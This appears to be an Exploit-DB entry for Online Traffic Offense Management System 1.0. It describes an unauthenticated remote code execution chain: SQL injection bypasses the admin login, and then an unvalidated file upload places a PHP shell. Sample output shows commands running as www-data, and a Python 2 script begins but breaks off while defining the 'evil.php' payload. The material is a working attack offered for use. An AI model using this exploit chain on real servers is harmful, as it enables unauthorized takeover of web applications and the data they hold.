# Exploit Title: Online Traffic Offense Management System 1.0 - Remote Code Execution (RCE) (Unauthenticated) # Date: 20-08-2021 # Exploit Author: Halit AKAYDIN (hLtAkydn) # Vendor Homepage: https://www.sourcecodester.com # Software Link: https://www.sourcecodester.com/php/14909/online-traffic-offense-management-system-php-free-source-code.html # Version: V1 # Category: Webapps # Tested on: Linux/Windows # Online Traffic Offense Management System # contains a file upload vulnerability that allows for remote # code execution against the target. This exploit requires # the user to be authenticated, but a SQL injection in the login form # allows the authentication controls to be bypassed # File uploaded from "/admin/?page=user" has no validation check # and the directory it is placed in allows for execution of PHP code. """ (hltakydn@SpaceSec)-[~/Exploits-db/traffic_offense] $ python2 exploit.py Example: http://example.com Url: http://trafficoffense.com [?] Check Adress [+] Bypass Login [+] Upload Shell [+] Exploit Done! $ whoami www-data $ id uid=33(www-data) gid=33(www-data) groups=33(www-data) $ pwd /var/www/html/uploads $ """ #!/usr/bin/env python2 import requests import time from bs4 import BeautifulSoup print ("\nExample: http://example.com\n") url = raw_input("Url: ") payload_name = "evil.php" payload_file = "